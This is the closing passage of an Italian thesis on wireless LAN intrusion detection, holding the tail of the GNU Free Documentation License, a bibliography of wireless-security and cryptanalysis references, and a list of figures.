cations”, or “History”, the requirement (section 4) to Preserve its Title

(section 1) will typically require changing the actual title.

C.9 Termination

You may not copy, modify, sublicense, or distribute the Document except

as expressly provided for under this License. Any other attempt to copy,

modify, sublicense or distribute the Document is void, and will automatically

terminate your rights under this License. However, parties who have received

copies, or rights, from you under this License will not have their licenses

terminated so long as such parties remain in full compliance.


C.10 Future revisions of this license

The Free Software Foundation may publish new, revised versions of the GNU

Free Documentation License from time to time. Such new versions will be

similar in spirit to the present version, but may differ in detail to address

new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If

the Document specifies that a particular numbered version of this License “or

any later version” applies to it, you have the option of following the terms

and conditions either of that specified version or of any later version that

has been published (not as a draft) by the Free Software Foundation. If the

Document does not specify a version number of this License, you may choose

any version ever published (not as a draft) by the Free Software Foundation.

Bibliografia

[1] S. Zanero: Un Sistema di Intrusion Detection basato su Tecniche

di Apprendimento non Supervisionato, Tesi di Laurea in Ingegneria

Informatica, pp 17-52, Milano, 2001.

[2] S. Piccardi: La Gestione della Sicurezza con GNU/Linux, Technical

Report, Truelite, pp 1-25, 2004.

[3] United States Department of Defense: Trusted Computer System

Evaluation Criteria, DoD Standard 5200.28-STD, pp 9-33, 1985.

[4] D. D. Clark, D. D. Wilson: A Comparison of Commercial and Military

Computer Security Policies, 1987 IEEE Symposium on Security and

Privacy, 1987.

[5] D. E. Bell, L. J. LaPadula, Secure Computer Systems: Unified Exposi-

tion and Multics Interpretation, Research Report, Mitre TR-2997, Mitre

Corporation, Bedford, MA, 1976.

[6] National Security Agency (NSA): National Security Agency Shares

Security Enhancements to LINUX, NSA Press Release, 2001.

[7] B. Spengler: Why doesn’t grsecurity use LSM?, Technical Report,

http://www.grsecurity.net/lsm.php

[8] D. Ferraiolo, R. Kuhn: Role Based Access Control, 15th National

Computer Security Conference, 554-563, 1992.

98 BIBLIOGRAFIA

[9] B. Schneier: Computer Security: Will We Ever Learn?, Techical Report,

Crypto-Gram Newsletter, 2000.

[10] A. C. Hobbs: Locks and Safes: The Construction of Locks, Technical

Report, West Orange, NJ, 1853.

[11] J. Mogul, Digital Equipment Corporation, 1988.

[12] Act of the United States of America Congress: Uniting and Strengthe-

ning America by Providing Appropriate Tools Required to Intercept and

Obstruct Terrorism Act of 2001, Public Law 107-56, 2001.

[13] J. K. Rowling: Harry Potter and the Philosopher’s Stone, Bloomsbury

Publishing PLC, 1997.

[14] Original work based on Wireless Security of D. Wagner, Technical

Report, pp 8-15, 2002.

[15] S. Fluhrer, I. Mantin, A. Shamir: Weaknesses in the Key Schedu-

ling Algorithm of RC4, 8th Annual Workshop on Selected Areas in

Cryptography, Toronto, Canada, 2001.

[16] A. Biryukov, A. Shamir, D. Wagner: Real time cryptanalysis of A5/1

on a PC, In FSE: Fast Software Encryption, 2000.

[17] J. R. Walker: Unsafe at any key size; an analysis of the WEP

encapsulation, IEEE Document 802.11-00/362, 2000.

[18] E. Tews, R. P. Weinmann, A. Pyshkin: Breaking 104 bit WEP in less

than 60 seconds, Cryptology ePrint Archive, Report 2007/120, 2007.

[19] R. Moskowitz: Weakness in Passphrase Choice in WPA Interface,

Technical Report, Wi-Fi Net News, 2003.

[20] WPA/WPA2 Rainbow Tables from http://www.renderlab.net/projects/WPA-

tables

BIBLIOGRAFIA 99

[21] P. Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off,

Lecture Notes in Computer Science, Laboratoire de Securit et de

Cryptographie (LASEC), CH, 2003.

[22] Xirrus Wi-Fi Reference Program: Wi-Fi Encryption Demystified Poster,

Technical Report, 2007.

[23] IEEE Standard 802.11: Amendment 6: Medium Access Control (MAC)

Security Enhancements, IEEE Approved Std 802.11i, pp 57-62, 2004.

[24] National Institute of Standards and Technology: FIPS PUB 140-2, Se-

curity Requirements For Cryptographic Modules, U.S. Department of

Commerce, 2006.

[25] Cisco Systems: Secure Wireless Architectures for Federal Agencies,

White Paper, 2007.

[26] J. Epstein: 802.11w fills wireless security holes, Technical Report,

NetworkWorld, 2006.

[27] M. Kershaw: Kismet 2007-10-R1 Documentation, Development Report,

2007.

[28] S. Gordeychik: Web-style Wireless IDS attacks, Technical Report,

Positive Technologies, 2006.

[29] SecLists.Org Security Archive: RFMON detection, Mailing List

Thread, http://seclists.org/basics/2004/Jul/0044.html, Insecu-

re.Org, 2004.

[30] Google Maps API, http://www.google.com/apis/maps

[31] J. Wright: Layer 2 Analysis of WLAN Discovery Applications for

Intrusion Detection, White Paper, Johnson & Wales University, 2002.

[32] J. Wright: Detecting Wireless LAN MAC Address Spoofing, White

Paper, Johnson & Wales University, 2003.

100 BIBLIOGRAFIA

[33] L. Butti, F. Veyseet: Wi-Fi trickery, or how to secure (?), break (??)

and have fun with Wi-Fi, France Telecom Division R&D, ShmooCon

2006, Washington, 2006.

[34] C. R. Ameter, R. A. Griffith, J. K. Pickett: WHIFF – Wireless Intru-

stion Detection System, White Paper, Foundstone and Carnegie Mellon

University, 2003.

[35] P. Mateti: Hacking Techniques in Wireless Networks, Technical Report,

The Handbook of Information Security, John Wiley & Sons, 2005.

[36] ManageEngine: What is Duration Attack?, White Paper.

[37] Open Web Application Security Project: What is fuzzing,

http://www.owasp.org/index.php/Fuzzing

[38] L. Butti: Wi-Fi Advanced Fuzzing France Telecom - Orange Division

R&D, BlackHat Europe 2007, 2007.

[39] P. Biondi: Network packet forgery with Scapy, PacSec/core05, 2005.

[40] J. Wright, M. Kershaw: Extensible 802.11 Packet Flinging, ShmooCon

2007, 2007.

[41] W. G. Henrique, Intruders Tiger Team Security: ADVISORY/0206 -

D-Link Wireless Access-Point (DWL-2100AP), SecurityFocus, Security

Advisory, 2006.

[42] R. Foust: Identifying and Tracking Unauthorized 802.11 Cards and Ac-

cess Points, A Practical Approach, ;login: The Magazine of Usenix &

Sage vol. 27 no. 4, 2002.

[43] F. Adelstein, P. Alla, R. Joyce, G. G. Richard III: Physically Locating

Wireless Intruders, Journal of Universal Computer Science vol. 11, no.

1, 2005.

[44] Aircrack-ng, http://www.aircrack-ng.org/doku.php?id=tutorial

Elenco delle figure

1.1 Schema di controllo RBAC . . . . . . . . . . . . . . . . . . . . 6

2.1 Topologia di rete con DMZ . . . . . . . . . . . . . . . . . . . . 13

3.1 Stadi crittografia WEP . . . . . . . . . . . . . . . . . . . . . . 20

3.2 Vulnerabilita WEP [14] . . . . . . . . . . . . . . . . . . . . . . 22

3.3 Gerarchia delle chiavi WPA/WPA2 . . . . . . . . . . . . . . . 25

3.4 Autenticazione tramite server RADIUS [22] . . . . . . . . . . 26

3.5 Stato delle reti WLAN nella citta di Cesena . . . . . . . . . . 31

4.1 Struttura Wireless IDS . . . . . . . . . . . . . . . . . . . . . . 34

4.2 Un attacco Evil-Twin . . . . . . . . . . . . . . . . . . . . . . . 36

4.3 Architettura WIDS . . . . . . . . . . . . . . . . . . . . . . . . 39

4.4 Attacco alla rete interna . . . . . . . . . . . . . . . . . . . . . 46

4.5 Duration attack . . . . . . . . . . . . . . . . . . . . . . . . . . 49

4.6 Localizzazione con antenne omnidirezionali . . . . . . . . . . . 55

4.7 Localizzazione con antenne direzionali . . . . . . . . . . . . . . 56

4.8 Wardriving con Kismet . . . . . . . . . . . . . . . . . . . . . . 57

4.9 Dettagli della rete . . . . . . . . . . . . . . . . . . . . . . . . . 58

102 ELENCO DELLE FIGURE

4.10 Alerts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60

5.1 Topologia della rete utilizzata nei test . . . . . . . . . . . . . . 62

5.2 Cracking chiave WEP128 . . . . . . . . . . . . . . . . . . . . . 66

5.3 Cracking chiave WPA . . . . . . . . . . . . . . . . . . . . . . . 68

5.4 Injection con Simple Injector su Wireshark . . . . . . . . . . . 72

rilevamento intrusioni in wlan

Education